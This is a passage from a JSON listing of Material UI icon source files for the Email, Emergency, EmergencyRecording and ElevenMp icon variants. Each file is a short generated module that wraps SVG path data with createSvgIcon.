'ElevenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevenMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8.75 5.5H10c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C8.34 7 8 6.66 8 6.25s.34-.75.75-.75m3.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm.5-11.5c0-.41.34-.75.75-.75H15c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75c-.41 0-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'ElevenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevenMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm5 2.5h3v6H9.5V7H8zm4.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zm.5-13h3v6h-1.5V7H13zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'ElevenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevenMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm5 2.5h3v6H9.5V7H8zm4.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zm.5-13h3v6h-1.5V7H13zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'ElevenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevenMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-5-8h3v6h-1.5V7H13zm-5 0h3v6H9.5V7H8zm-2 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 11.5H11v-6H8V7h1.5zm5 0H16v-6h-3V7h1.5z\"\n}, \"4\")], 'ElevenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevenMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-5-8h3v6h-1.5V7H13zm-5 0h3v6H9.5V7H8zm-2 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 11.5H11v-6H8V7h1.5zm5 0H16v-6h-3V7h1.5z\"\n}, \"4\")], 'ElevenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Email.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 4-8 5-8-5V6l8 5 8-5z\"\n}), 'Email');"
  },
  {
    "path": "packages/mui-icons-material/lib/Email.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 4-8 5-8-5V6l8 5 8-5z\"\n}), 'Email');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmailOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-2 0-8 5-8-5zm0 12H4V8l8 5 8-5z\"\n}), 'EmailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmailOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-2 0-8 5-8-5zm0 12H4V8l8 5 8-5z\"\n}), 'EmailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmailRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-.4 4.25-7.07 4.42c-.32.2-.74.2-1.06 0L4.4 8.25c-.25-.16-.4-.43-.4-.72 0-.67.73-1.07 1.3-.72L12 11l6.7-4.19c.57-.35 1.3.05 1.3.72 0 .29-.15.56-.4.72\"\n}), 'EmailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmailRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-.4 4.25-7.07 4.42c-.32.2-.74.2-1.06 0L4.4 8.25c-.25-.16-.4-.43-.4-.72 0-.67.73-1.07 1.3-.72L12 11l6.7-4.19c.57-.35 1.3.05 1.3.72 0 .29-.15.56-.4.72\"\n}), 'EmailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmailSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zm-2 4-8 5-8-5V6l8 5 8-5z\"\n}), 'EmailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmailSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zm-2 4-8 5-8-5V6l8 5 8-5z\"\n}), 'EmailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmailTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 8-8 5-8-5v10h16zm0-2H4l8 4.99z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2M20 6l-8 4.99L4 6zM4 8l8 5 8-5v10H4z\"\n}, \"1\")], 'EmailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmailTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 8-8 5-8-5v10h16zm0-2H4l8 4.99z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2M20 6l-8 4.99L4 6zM4 8l8 5 8-5v10H4z\"\n}, \"1\")], 'EmailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Emergency.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.79 9.23-2-3.46L14 8.54V3h-4v5.54L5.21 5.77l-2 3.46L8 12l-4.79 2.77 2 3.46L10 15.46V21h4v-5.54l4.79 2.77 2-3.46L16 12z\"\n}), 'Emergency');"
  },
  {
    "path": "packages/mui-icons-material/lib/Emergency.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.79 9.23-2-3.46L14 8.54V3h-4v5.54L5.21 5.77l-2 3.46L8 12l-4.79 2.77 2 3.46L10 15.46V21h4v-5.54l4.79 2.77 2-3.46L16 12z\"\n}), 'Emergency');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.29 13.9 18 12l3.29-1.9c.48-.28.64-.89.37-1.37l-2-3.46c-.28-.48-.89-.64-1.37-.37L15 6.8V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3.8L5.71 4.9c-.48-.27-1.09-.11-1.37.37l-2 3.46c-.28.48-.11 1.09.37 1.37L6 12l-3.29 1.9c-.48.28-.64.89-.37 1.37l2 3.46c.28.48.89.64 1.37.37L9 17.2V21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3.8l3.29 1.9c.48.28 1.09.11 1.37-.37l2-3.46c.28-.48.11-1.09-.37-1.37m-2.86 2.97-4.68-2.7c-.33-.2-.75.04-.75.43V20h-2v-5.4c0-.38-.42-.63-.75-.43l-4.68 2.7-1-1.73 4.68-2.7c.33-.19.33-.67 0-.87l-4.68-2.7 1-1.73 4.68 2.7c.33.19.75-.05.75-.44V4h2v5.4c0 .38.42.63.75.43l4.68-2.7 1 1.73-4.68 2.7c-.33.19-.33.67 0 .87l4.68 2.7z\"\n}), 'EmergencyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.29 13.9 18 12l3.29-1.9c.48-.28.64-.89.37-1.37l-2-3.46c-.28-.48-.89-.64-1.37-.37L15 6.8V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3.8L5.71 4.9c-.48-.27-1.09-.11-1.37.37l-2 3.46c-.28.48-.11 1.09.37 1.37L6 12l-3.29 1.9c-.48.28-.64.89-.37 1.37l2 3.46c.28.48.89.64 1.37.37L9 17.2V21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3.8l3.29 1.9c.48.28 1.09.11 1.37-.37l2-3.46c.28-.48.11-1.09-.37-1.37m-2.86 2.97-4.68-2.7c-.33-.2-.75.04-.75.43V20h-2v-5.4c0-.38-.42-.63-.75-.43l-4.68 2.7-1-1.73 4.68-2.7c.33-.19.33-.67 0-.87l-4.68-2.7 1-1.73 4.68 2.7c.33.19.75-.05.75-.44V4h2v5.4c0 .38.42.63.75.43l4.68-2.7 1 1.73-4.68 2.7c-.33.19-.33.67 0 .87l4.68 2.7z\"\n}), 'EmergencyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyRecording.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM12 12l3 1.73-1 1.73-3-1.73V17H9v-3.27l-3 1.73-1-1.73L8 12l-3-1.73 1-1.73 3 1.73V7h2v3.27l3-1.73 1 1.73z\"\n}), 'EmergencyRecording');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyRecording.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM12 12l3 1.73-1 1.73-3-1.73V17H9v-3.27l-3 1.73-1-1.73L8 12l-3-1.73 1-1.73 3 1.73V7h2v3.27l3-1.73 1 1.73z\"\n}), 'EmergencyRecording');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyRecordingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM16 18H4V6h12zm-4-6 3 1.73-1 1.73-3-1.73V17H9v-3.27l-3 1.73-1-1.73L8 12l-3-1.73 1-1.73 3 1.73V7h2v3.27l3-1.73 1 1.73z\"\n}), 'EmergencyRecordingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyRecordingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM16 18H4V6h12zm-4-6 3 1.73-1 1.73-3-1.73V17H9v-3.27l-3 1.73-1-1.73L8 12l-3-1.73 1-1.73 3 1.73V7h2v3.27l3-1.73 1 1.73z\"\n}), 'EmergencyRecordingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyRecordingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l3.15 3.13c.31.32.85.09.85-.35V7.7c0-.44-.54-.67-.85-.35zm-3.5 4.12c-.28.48-.89.64-1.37.37L11 13.73V16c0 .55-.45 1-1 1s-1-.45-1-1v-2.27l-2.13 1.23c-.48.28-1.09.11-1.37-.37s-.11-1.09.37-1.37L8 12l-2.13-1.23c-.48-.28-.65-.89-.37-1.37s.89-.64 1.37-.37L9 10.27V8c0-.55.45-1 1-1s1 .45 1 1v2.27l2.13-1.23c.48-.28 1.09-.11 1.37.37s.11 1.09-.37 1.37L12 12l2.13 1.23c.48.28.65.89.37 1.37\"\n}), 'EmergencyRecordingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyRecordingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l3.15 3.13c.31.32.85.09.85-.35V7.7c0-.44-.54-.67-.85-.35zm-3.5 4.12c-.28.48-.89.64-1.37.37L11 13.73V16c0 .55-.45 1-1 1s-1-.45-1-1v-2.27l-2.13 1.23c-.48.28-1.09.11-1.37-.37s-.11-1.09.37-1.37L8 12l-2.13-1.23c-.48-.28-.65-.89-.37-1.37s.89-.64 1.37-.37L9 10.27V8c0-.55.45-1 1-1s1 .45 1 1v2.27l2.13-1.23c.48-.28 1.09-.11 1.37.37s.11 1.09-.37 1.37L12 12l2.13 1.23c.48.28.65.89.37 1.37\"\n}), 'EmergencyRecordingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyRecordingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V4H2v16h16v-6.48l4 3.98v-11zM12 12l3 1.73-1 1.73-3-1.73V17H9v-3.27l-3 1.73-1-1.73L8 12l-3-1.73 1-1.73 3 1.73V7h2v3.27l3-1.73 1 1.73z\"\n}), 'EmergencyRecordingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyRecordingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V4H2v16h16v-6.48l4 3.98v-11zM12 12l3 1.73-1 1.73-3-1.73V17H9v-3.27l-3 1.73-1-1.73L8 12l-3-1.73 1-1.73 3 1.73V7h2v3.27l3-1.73 1 1.73z\"\n}), 'EmergencyRecordingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyRecordingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6v12h12V6zm11 7.73-1 1.73-3-1.73V17H9v-3.27l-3 1.73-1-1.73L8 12l-3-1.73 1-1.73 3 1.73V7h2v3.27l3-1.73 1 1.73L12 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM16 18H4V6h12zm-4-6 3 1.73-1 1.73-3-1.73V17H9v-3.27l-3 1.73-1-1.73L8 12l-3-1.73 1-1.73 3 1.73V7h2v3.27l3-1.73 1 1.73z\"\n}, \"1\")], 'EmergencyRecordingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyRecordingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6v12h12V6zm11 7.73-1 1.73-3-1.73V17H9v-3.27l-3 1.73-1-1.73L8 12l-3-1.73 1-1.73 3 1.73V7h2v3.27l3-1.73 1 1.73L12 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM16 18H4V6h12zm-4-6 3 1.73-1 1.73-3-1.73V17H9v-3.27l-3 1.73-1-1.73L8 12l-3-1.73 1-1.73 3 1.73V7h2v3.27l3-1.73 1 1.73z\"\n}, \"1\")], 'EmergencyRecordingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.29 8.37-1-1.73c-.28-.48-.89-.64-1.37-.37L14 8.54V4c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v4.54L6.07 6.27c-.48-.28-1.09-.11-1.36.36l-1 1.73c-.28.48-.12 1.1.36 1.37L8 12l-3.93 2.27c-.48.28-.64.89-.37 1.37l1 1.73c.28.48.89.64 1.37.37L10 15.46V20c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-4.54l3.93 2.27c.48.28 1.09.11 1.37-.37l1-1.73c.28-.48.11-1.09-.37-1.37L16 12l3.93-2.27c.48-.27.64-.89.36-1.36\"\n}), 'EmergencyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyRounded.mjs",
